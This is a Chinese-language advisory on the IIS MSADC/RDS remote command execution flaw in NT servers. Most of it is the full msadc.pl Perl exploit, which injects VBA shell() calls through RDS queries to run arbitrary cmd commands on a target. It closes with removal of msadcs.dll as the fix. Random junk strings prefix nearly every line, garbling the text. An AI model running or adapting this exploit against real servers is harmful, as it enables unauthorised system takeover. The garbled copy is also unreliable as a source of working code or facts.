IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
S
^"y4-2 Q!o'}nA 涉及程序:
s6H]J{1F Microsoft NT server
Cl5uS%g 4qO+_!x{) 描述:
J28M@cn 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,KF'TsFf ?}Z1bH 详细:
\MsTB|Z 如果你没有时间读详细内容的话,就删除:
]}Mj)J" m c:\Program Files\Common Files\System\Msadc\msadcs.dll
<C_jF 有关的安全问题就没有了。
bZ?v-fn\D, D|lzGt 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Hn7_FOC HD@$t)mn 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
b[sx_b 关于利用ODBC远程漏洞的描述,请参看:
Bgn&:T8< ++bf#qS<8D http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =qoWCmg"& O)C\vF# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
g9m-TkNk http://www.microsoft.com/security/bulletins/MS99-025faq.asp NC8t)
X7 G|[ =/>~B 这里不再论述。
% "kPvI3Y #Z}Rfk(~ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
jk"`Z<j~ l3KVW5-!gS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&X`C%h 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
mH54ja2 $Ad{Z 6~0$Z-);( #将下面这段保存为txt文件,然后: "perl -x 文件名"
@*F"Q1 wI H;D>|q #!perl
[=x[ w70 #
&qLf@1AD # MSADC/RDS 'usage' (aka exploit) script
?RX3MUN #
*w$W2I>b7 # by rain.forest.puppy
AG3>V+k{Lv #
hMzs*gK # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,ZKr.`B # beta test and find errors!
Qf58ig-vCY YSs)HV.8 use Socket; use Getopt::Std;
<z+t,<3D getopts("e:vd:h:XR", \%args);
yTyj'-4 ^le<} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
k=2Lo :f Kl]XO if (!defined $args{h} && !defined $args{R}) {
OBgkpx*Q print qq~
[l:x'_y Usage: msadc.pl -h <host> { -d <delay> -X -v }
|D'4uN8\ -h <host> = host you want to scan (ip or domain)
2^XGGB0 -d <seconds> = delay between calls, default 1 second
uzXCIv@ -X = dump Index Server path table, if available
Pl(Q,e7O] -v = verbose
z_g~ -e = external dictionary file for step 5
909?_v c@YI;HS_g Or a -R will resume a command session
y@]_+2Vo p$SX ~; exit;}
zFfoqb#*g s.EI`*xylY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
U6=..K!q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kTKq/G,Ft if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
?m![Pg% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
siXr;/n" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Wi>!{.}%A if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~L]|?d" })uGRvz if (!defined $args{R}){ $ret = &has_msadc;
%lL.[8r| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~a%Z;Aj g"Ljm7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
I6~pV@h^= . "cmd /c ";
P
D4Tz!F $in=<STDIN>; chomp $in;
aGK?x1_ $command="cmd /c " . $in ;
Yj%U
>),8 -8'C\R|J+ if (defined $args{R}) {&load; exit;}
U0=] >oea{u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"~`I::'c &try_btcustmr;
Xf0M:\w=M X7[^s
$VK print "\nStep 2: Trying to make our own DSN...";
H|,Oswk~- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.e3NnOzyxS p/(~IC"!J print "\nStep 3: Trying known DSNs...";
BLN^ <X/ &known_dsn;
Ny_lrfh) [ Xm+8 print "\nStep 4: Trying known .mdbs...";
O#&c6MDB: &known_mdb;
rxr{/8%f% Q=BZ N]g2 if (defined $args{e}){
5'0xz.)!
print "\nStep 5: Trying dictionary of DSN names...";
17D"cP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HN_d{ 3 A"`foI$0 print "Sorry Charley...maybe next time?\n";
'jmTXWq* exit;
ay1YOfa* V I,ACj ##############################################################################
lJ+0P2@h* p7);uF^O% sub sendraw { # ripped and modded from whisker
BQBeo&n6 sleep($delay); # it's a DoS on the server! At least on mine...
|"XPp!_uN my ($pstr)=@_;
.udv"?!z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'sLiu8G die("Socket problems\n");
zR
`EU, if(connect(S,pack "SnA4x8",2,80,$target)){
x&^_c0fn select(S); $|=1;
;GVV~.7/ print $pstr; my @in=<S>;
.P.z B}0= select(STDOUT); close(S);
J~B<7O<?!1 return @in;
Qhs/E`k4 } else { die("Can't connect...\n"); }}
Gq_-Val]" T(AVlI6 ##############################################################################
l_EM8pL,f /R~1Zj2& sub make_header { # make the HTTP request
ak->ML my $msadc=<<EOT
\=+b}mKV
m POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W ZazJ=27} User-Agent: ACTIVEDATA
$BkubWM Host: $ip
{n/uh0>f* Content-Length: $clen
0`)iIz Connection: Keep-Alive
n8uv#DsdK LVc4CE
f ADCClientVersion:01.06
i:rFQ8I Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
0q.Ujm=,z nt;haeJ --!ADM!ROX!YOUR!WORLD!
@Ukr Content-Type: application/x-varg
?6L&WB Content-Length: $reqlen
!lxTX
L f"i
! EOT
B.g[c97 ; $msadc=~s/\n/\r\n/g;
BBH0OiV= return $msadc;}
qb5#_1qz+^ fMGbODAvY ##############################################################################
?+g`HTY u
)x}l3\s sub make_req { # make the RDS request
j<2m,~k`V my ($switch, $p1, $p2)=@_;
CM<]ZG7 my $req=""; my $t1, $t2, $query, $dsn;
'eo
KZX+ D\@m6=L if ($switch==1){ # this is the btcustmr.mdb query
z\0CE]#T $query="Select * from Customers where City=" . make_shell();
&;XAuDw4+i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@g2cC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
ndjx|s)E Mva3+T elsif ($switch==2){ # this is general make table query
JYrY[',u $query="create table AZZ (B int, C varchar(10))";
ZDD..j $dsn="$p1";}
PqyA1 masT>vM elsif ($switch==3){ # this is general exploit table query
:(a]V"(&Eq $query="select * from AZZ where C=" . make_shell();
!/^-;o7 $dsn="$p1";}
rC.eyq,105 &ISb~5 elsif ($switch==4){ # attempt to hork file info from index server
q}/WQ]p} < $query="select path from scope()";
4q'B<7{Q $dsn="Provider=MSIDXS;";}
"S&@F/ sp7*_&'J elsif ($switch==5){ # bad query
UK$ms~H $query="select";
lqowG!3H $dsn="$p1";}
B!dU>0&Ct _bzqd"
31I $t1= make_unicode($query);
26dUA~|KJ $t2= make_unicode($dsn);
t~e<z81p $req = "\x02\x00\x03\x00";
h)6GaJ= $req.= "\x08\x00" . pack ("S1", length($t1));
kaxvPv1
$req.= "\x00\x00" . $t1 ;
'Q
=7/dY3I $req.= "\x08\x00" . pack ("S1", length($t2));
1VF
$req.= "\x00\x00" . $t2 ;
BnCKSg7V $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Yz4_vePh+5 return $req;}
s-Aw<Q)d RP2_l$ ##############################################################################
R g?1-|Tj rUlS'L;$" sub make_shell { # this makes the shell() statement
Bd^"=+c4 return "'|shell(\"$command\")|'";}
0x11
vr! ( 7ws{) ##############################################################################
}m/RZP~= ~
^>417> sub make_unicode { # quick little function to convert to unicode
*d(SI<j my ($in)=@_; my $out;
GyW.2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
IcrL return $out;}
TgTnqR@/ X53mzs ##############################################################################
9Ew7A(BG_3 3IR
^ sub rdo_success { # checks for RDO return success (this is kludge)
K7e4_ZGI my (@in) = @_; my $base=content_start(@in);
ExSO|g]% if($in[$base]=~/multipart\/mixed/){
=H %-.m'f2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
C{Asp return 0;}
!Y<oN~<%) >sD4R}\}) ##############################################################################
~gI{\iNF/ /<&h@$NHH4 sub make_dsn { # this makes a DSN for us
x1gx$P my @drives=("c","d","e","f");
b?Pj< tA print "\nMaking DSN: ";
kvGCbRC foreach $drive (@drives) {
h{}mBQl print "$drive: ";
1/ZR*fa my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Sd))vS^g "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
K'1~^)* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
pi5GxDA] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
V8-h%|$p3W return 0 if $2 eq "404"; # not found/doesn't exist
.>Z,uT^A if($2 eq "200") {
+'#oz+ foreach $line (@results) {
zTo8OPr return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
maSgRf[g } return 0;}
JR9$.fGJ 8BXqZVm. ##############################################################################
u/Fj'*M ~%#mK:+ sub verify_exists {
wP"q<W
g my ($page)=@_;
+m,!e*g my @results=sendraw("GET $page HTTP/1.0\n\n");
6+dn*_[Z6 return $results[0];}
Rt(J/%; ?Qqd "=k4 ##############################################################################
'GJVWpvUU ~S; Z\ sub try_btcustmr {
/.V0ag'G my @drives=("c","d","e","f");
zzZg$9PT[ my @dirs=("winnt","winnt35","winnt351","win","windows");
WxGSv#u },+~F8B foreach $dir (@dirs) {
U3#dT2U print "$dir -> "; # fun status so you can see progress
~!+ _[uJ foreach $drive (@drives) {
znZ7*S >6\ print "$drive: "; # ditto
uCzii o`S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\
Aq;Q? $reqlenlen=length( "$reqlen" );
^m7~:=K7WG $clen= 206 + $reqlenlen + $reqlen;
*]s&8/Gmb :#="% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
(:\LWJX0= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
+=cam/A else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zW4O4b$T oYX{R ##############################################################################
}fIqH4bp 8&}~'4[b[$ sub odbc_error {
&1)xoZ'\ my (@in)=@_; my $base;
tfiqr|z my $base = content_start(@in);
A%ywj'|z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
K%{ad1$c $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5n:71$6[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#i@h{R01 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f\ "`7 return $in[$base+4].$in[$base+5].$in[$base+6];}
73DlRt
* print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
aIvBY78o print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
RfbdBsL $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
rS~qi}4X Qp:6=o0: ##############################################################################
p$!@I Uh6mGLz*& sub verbose {
qw:9zYG}qW my ($in)=@_;
Ao`_",E return if !$verbose;
Xt(!
a print STDOUT "\n$in\n";}
=Nl5{qYz^& b!~TAT&8 ##############################################################################
k\(4sY M SWoEt1w sub save {
,OBQv.D3>a my ($p1, $p2, $p3, $p4)=@_;
7,_-XV2 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ag]*DsBt print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
xw%)rm<t close OUT;}
2oNV=b[ q0|ZoP ##############################################################################
T0L+z/N_m. <;KRj85"j sub load {
sQ(1/"gb my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]N\6h(**wy open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`!kL1oUYE @p=<IN>; close(IN);
FrR9{YTA. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
M'|)dM| $target= inet_aton($ip) || die("inet_aton problems");
e 2*F;.) print "Resuming to $ip ...";
_SF!T6A $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
jlRS:$|R0 if($p[1]==1) {
1E^{B8cm $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
D5[VK`4Z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)=(n/vckM my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fB[\("+ if (rdo_success(@results)){print "Success!\n";}
ris;Iu^v0 else { print "failed\n"; verbose(odbc_error(@results));}}
Uf[T _ elsif ($p[1]==3){
R8{e&nPE if(run_query("$p[3]")){
Z]e4pR6! print "Success!\n";} else { print "failed\n"; }}
RR'(9QJ$ elsif ($p[1]==4){
8v$g if(run_query($drvst . "$p[3]")){
vu>YH)N_h print "Success!\n"; } else { print "failed\n"; }}
u
mqKFM$ exit;}
9g+UJ\u^ MyM+C} ##############################################################################
Ku&*`dME J2Y 3er sub create_table {
<q1'Li)_R my ($in)=@_;
&V FjHW $reqlen=length( make_req(2,$in,"") ) - 28;
[M<{P5q $reqlenlen=length( "$reqlen" );
Yg|l?d" $clen= 206 + $reqlenlen + $reqlen;
j`+0.Zlq my @results=sendraw(make_header() . make_req(2,$in,""));
"h`54}0 return 1 if rdo_success(@results);
be_C>v my $temp= odbc_error(@results); verbose($temp);
XzN-slu! return 1 if $temp=~/Table 'AZZ' already exists/;
[ArO$X3\ return 0;}
bA0uGLc s|BX>1 ##############################################################################
Q;Q ^$ 8Vh=D sub known_dsn {
{4o\S # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A&;EV#]ge my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'[n)N@h "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e%'z=%( "banner", "banners", "ads", "ADCDemo", "ADCTest");
4*YOFU}l }=xI3;7 foreach $dSn (@dsns) {
%e(9-M4* print ".";
d~vTD|Et next if (!is_access("DSN=$dSn"));
/kAwe *) if(create_table("DSN=$dSn")){
CL
EpB2_ print "$dSn successful\n";
[}jj<!9A_; if(run_query("DSN=$dSn")){
wK2yt? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rL.<Z@- print "Something's borked. Use verbose next time\n";}}} print "\n";}
ze*&*csO V@LN
1| ##############################################################################
B#| Z`mZ D$Kz9GVZq sub is_access {
[0d-CEp[ my ($in)=@_;
=I+l=;05Rd $reqlen=length( make_req(5,$in,"") ) - 28;
M-}j9,oR` $reqlenlen=length( "$reqlen" );
_ .-o%6 $clen= 206 + $reqlenlen + $reqlen;
7=$+k]U8 my @results=sendraw(make_header() . make_req(5,$in,""));
oqm my $temp= odbc_error(@results);
NvEm,E\| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
2]?w~qjWm return 0;}
"
whO} dM$N1DB{U+ ##############################################################################
~uP
r]# fF8a 1XV sub run_query {
7}2sIf[I my ($in)=@_;
[]GthF $reqlen=length( make_req(3,$in,"") ) - 28;
+a7EsR $reqlenlen=length( "$reqlen" );
zz7Y/653 $clen= 206 + $reqlenlen + $reqlen;
(#fm (@T my @results=sendraw(make_header() . make_req(3,$in,""));
fcgDU *A% return 1 if rdo_success(@results);
GI 0x>Z+ my $temp= odbc_error(@results); verbose($temp);
Fw(b1 d>E return 0;}
0A)
Vtj$ */0vJz%<.M ##############################################################################
%igFHh? bLU^1S8Z sub known_mdb {
;'2`M my @drives=("c","d","e","f","g");
[4K9|/J my @dirs=("winnt","winnt35","winnt351","win","windows");
$V`KrA~] my $dir, $drive, $mdb;
1YF+(fk my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3s+<
yFPaWW # this is sparse, because I don't know of many
b7W=HR my @sysmdbs=( "\\catroot\\icatalog.mdb",
reqfgNg "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yV 9]_k "\\system32\\certmdb.mdb",
>|UrxJ7 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
a>&;K@ 'S%} ?#J my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
}skRlC "\\cfusion\\cfapps\\forums\\forums_.mdb",
v&[X&Hu[ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
SIaUrC "\\cfusion\\cfapps\\security\\realm_.mdb",
RTPq8S" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Dr8WV\4@ "\\cfusion\\database\\cfexamples.mdb",
YJ$Vn>6Z "\\cfusion\\database\\cfsnippets.mdb",
A-Q{*{^# "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
yL.PGF1( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
A;kw}! "\\cfusion\\brighttiger\\database\\cleam.mdb",
|dB1R% "\\cfusion\\database\\smpolicy.mdb",
P/C+L[X= "\\cfusion\\database\cypress.mdb",
&*>CPO "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
&(H)gjH "\\website\\cgi-win\\dbsample.mdb",
$ +GFOO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
LEn=dU "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
y'0dl "Dy\ ); #these are just
[0tfY0 foreach $drive (@drives) {
Y?&DEKFbD foreach $dir (@dirs){
(giTp@Tp foreach $mdb (@sysmdbs) {
l~Ie#vak print ".";
'Tru?y\ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
bCE7hutl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
[U3D`V$xD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
t=E|RYC(k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
:EQme0OW } else { print "Something's borked. Use verbose next time\n"; }}}}}
aCYm$6LmA 8}pcanPg foreach $drive (@drives) {
C<wj?!v,F[ foreach $mdb (@mdbs) {
evg 7d print ".";
}!Diai*C if(create_table($drv . $drive . $dir . $mdb)){
QNa}M{5>h print "\n" . $drive . $dir . $mdb . " successful\n";
g~^{-6Vg if(run_query($drv . $drive . $dir . $mdb)){
g+KzlS[6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
OFQi&/ } else { print "Something's borked. Use verbose next time\n"; }}}}
bE`*Uw4 }
%.Tf u0M }x#P<d( ##############################################################################
!OZhfMVd LD~uI sub hork_idx {
Gs=a(0
0i? print "\nAttempting to dump Index Server tables...\n";
Hdq/E>u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|B{$URu $reqlen=length( make_req(4,"","") ) - 28;
,~j$rs`Z $reqlenlen=length( "$reqlen" );
/c$Ht $clen= 206 + $reqlenlen + $reqlen;
J?Ep Nie my @results=sendraw2(make_header() . make_req(4,"",""));
D
5 r if (rdo_success(@results)){
?k:])^G5 my $max=@results; my $c; my %d;
\'LC C- for($c=19; $c<$max; $c++){
,^+R%7mv $results[$c]=~s/\x00//g;
j]?0}Z* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$vGEY7, $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0h@%q;g $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+}-W.H%` 0 $d{"$1$2"}="";}
'G3OZj8 foreach $c (keys %d){ print "$c\n"; }
@aD~YtL"n } else {print "Index server doesn't seem to be installed.\n"; }}
-SY:qG3? (Y.$wMB ##############################################################################
/6+%(f}7l ^qus `6 sub dsn_dict {
A%m`LKV~@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9hs{uxwuEE while(<IN>){
U)w|GrxX $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
NX""?"q next if (!is_access("DSN=$dSn"));
dYqDL<se/I if(create_table("DSN=$dSn")){
vBn=bb'W print "$dSn successful\n";
ot+~|Dl if(run_query("DSN=$dSn")){
4^NHf|UJH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
wCTR-pL^ print "Something's borked. Use verbose next time\n";}}}
K<L%@[gi print "\n"; close(IN);}
sV'.Bomq POg0=32 ##############################################################################
'lRHdD}s ?a0}^:6 sub sendraw2 { # ripped and modded from whisker
ccRk4xR sleep($delay); # it's a DoS on the server! At least on mine...
S5
nw my ($pstr)=@_;
8`~3MsE" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s=~7m.m die("Socket problems\n");
KZ}4<{3 if(connect(S,pack "SnA4x8",2,80,$target)){
iCSM1W3 print "Connected. Getting data";
4"X>_Nt6 open(OUT,">raw.out"); my @in;
GN;XB b]w select(S); $|=1; print $pstr;
rnhf(K.{3 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
b oOw
K? close(OUT); select(STDOUT); close(S); return @in;
z%dlajYm: } else { die("Can't connect...\n"); }}
2[YD& y{?jr$js< ##############################################################################
WAa1H60VkS $)7f%II sub content_start { # this will take in the server headers
'/*c Yv45 my (@in)=@_; my $c;
; F(01 for ($c=1;$c<500;$c++) {
q4ko}jn if($in[$c] =~/^\x0d\x0a/){
U?ic$J]N if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
nJ#@W b@ else { return $c+1; }}}
U(]5U^ return -1;} # it should never get here actually
eC`f8=V r=||sZs ##############################################################################
%1 ^jd\ /"{ ,m! sub funky {
uv!qE1z@': my (@in)=@_; my $error=odbc_error(@in);
aw"%B-N\ if($error=~/ADO could not find the specified provider/){
!skiD}zd1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Kcdd=2 [T exit;}
0fK|}mmZA if($error=~/A Handler is required/){
$K5s)! print "\nServer has custom handler filters (they most likely are patched)\n";
<~X6D? exit;}
FH21m wV if($error=~/specified Handler has denied Access/){
BF[?* b print "\nServer has custom handler filters (they most likely are patched)\n";
(a!,) exit;}}
wXGFq3` "wC5hj] ##############################################################################
W}_}<rlF H
7F~+Q-} sub has_msadc {
)tch>.EQ_ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0_pwY=P my $base=content_start(@results);
SW'KYzn return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/=(FM return 0;}
2^M+s\p 7Ej#7\TB] ########################
2U+p@}cQUA '|?r&-5 h #}yFHM?i 解决方案:
,VsCRp 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X*"O'XCA 2、移除web 目录: /msadc